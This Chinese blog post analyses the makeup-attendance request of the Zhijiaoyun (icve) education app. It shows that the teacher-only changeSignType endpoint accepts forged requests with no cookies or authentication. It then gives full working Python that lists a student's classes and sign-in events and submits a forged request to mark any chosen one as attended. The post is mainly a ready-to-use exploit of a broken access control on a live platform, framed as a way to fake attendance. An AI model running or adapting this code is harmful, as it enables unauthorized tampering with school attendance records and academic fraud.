职教云-智慧职教，签到补签分析（逆天改命系列）

最一开始，我只试着弄了个职教云签到监控。帮我签到，但是后来居然在一些地方看到各种逆天操作，然后发现全部都是教师权限才能的操作，然后我就对职教云补签进行了抓包分析（别问我教师账号怎么来的，注册即可）。

在用教师账户进行补签操作之后抓到这么一个包，怎么抓包的就说了，这个也不是重点，主要看思路。

这个包是我在职教云手机端抓到的，因为手机版比网页版更老实。

先来看下他的参数：

传递了一些cookie

data，equipmentAppVersion，equipmentModel，equipmentApiVersion

经过目测翻译，加分析值：

equipmentAppVersion：这玩意就是app版本号

equipmentModel：这个是我手机型号

equipmentApiVersion：这个大概估计就是api版本了吧。

然后就是那个最关键的data了，一般来说要传递的值都在data里面吧。

把它复制出来并且url解码之后是一串这样的

为了看得更清楚，给他挪个地方看看

咳咳，继续盲猜之旅。

目前的值有这些：

OpenClassId：这个似乎目测翻译一下就是，开放班级的ID

Id：这玩意就一个ID，是啥ID咱也不知道呀，放着看看

SignId：目测翻译一下，标志ID，估计就是代表这条活动的ID吧

StuId：目测翻译就是学生ID

SignResultType：标志结果类型，咳咳人工机翻，估计意思就是签到的目标状态

SourceType：来源类型？大概这样吧

schoolId：目测翻译就是学校ID

经过上面这一长短的目测翻译大概需要的一些值就是这样了。

现在先试着发一个包看下

结果是修改成功，说明可以自己伪造包然后修改签到状态

但问题是，我们没有老师的账号就没有老师cookie呀，那怎么可以实现那些逆天操作呢，我试着把传递的cookie删除，然后看下结果

然后发现居然也修改成功了，

既然cookie都不要了，那我干脆把手机型号，版本型号这些也删除试试，然后只保留一个data，结果。。。。

除了说职教云老实我还能说什么。到此我们就可以完成补签操作了。

对于上面那几个参数不再次分析了，懒，直接上代码

完整代码在GitHub：https://github.com/vastsa/ZhiJiaoYunQianDao

from configparser import ConfigParser
import requests

config = ConfigParser()
config.read('config.info')
try:
    stuid = config['information']['userid']
except:
    import get_cookie


def get_kecheng(time):
    data = {
        'stuId': stuid,
        'faceDate': time
    }
    url = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/getStuFaceTeachList'
    html = requests.post(url=url, data=data).json()
    datalist = html['dataList']
    courses = len(datalist)
    courseId = []
    courseNmae = []
    classSection = []
    openClassId = []
    for i in range(courses):
        courseNmae.append(datalist[i]['courseName'])
        courseId.append(datalist[i]['Id'])
        classSection.append(datalist[i]['classSection'])
        openClassId.append(datalist[i]['openClassId'])
    if courses != 0:
        print(f'课表如下：')
        js = 0
        for i in range(courses):
            print(f'【{js}】第{classSection[i]}课：{courseNmae[i]}')
            js += 1
        js = input("请输入你要补签的课堂：")
        return {
            'courseId': courseId[int(js)],
            'openClassId': openClassId[int(js)],
            'courses': courses
        }
    else:
        print("同学，你今天无课，好好休息！")


def buqian(course):
    url = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/newGetStuFaceActivityList'
    data = {
        'activityId': course['courseId'],
        'stuId': stuid,
        'classState': '2',
        'openClassId': course['openClassId']
    }
    html = requests.post(url=url, data=data).json()['dataList']
    buqianname = []
    buqianid = []
    for j in range(len(html)):
        datatype = html[j]['DataType']
        if datatype == "签到":
            buqianname.append(html[j]['Title'])
            buqianid.append(html[j]['Id'])
    for i in range(len(buqianid)):
        print(f'【{i}】{buqianname[i]}')
        # print(f'【{i}】{buqianid[i]}')
    target = int(input("请输入要逆天改命的序号："))
    datas = f'{{"OpenClassId":"{course["openClassId"]}","Id":"{stuid}","SignId":"{buqianid[target]}","StuId":"{stuid}","SignResultType":1,"SourceType":2,"schoolId":"3-3sabgooohfboflpnx6bq"}}'
    xdata = {
        'data': f'{datas}'
    }
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Host': 'zjyapp.icve.com.cn',
        'Connection': 'Keep-Alive',
        'Accept-Encoding': 'gzip',
        'User-Agent': 'okhttp/3.10.0',
    }
    bqurl = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/changeSignType'
    html = requests.post(url=bqurl, headers=headers, data=xdata).json()
    if html['code'] == 1:
        print(html['msg'])
        print("逆天改命成功，返回菜单")
        menu()
    else:
        print(html['msg'])
        print("逆天改命失败，请联系Lan")


def menu():
    print("【欢迎使用职教云补签助手】")
    print("                  By:Lan")
    date = input("请输入需要补签的日期如(2020-4-17)：")
    course = get_kecheng(date)
    buqian(course)


if __name__ == '__main__':
    menu()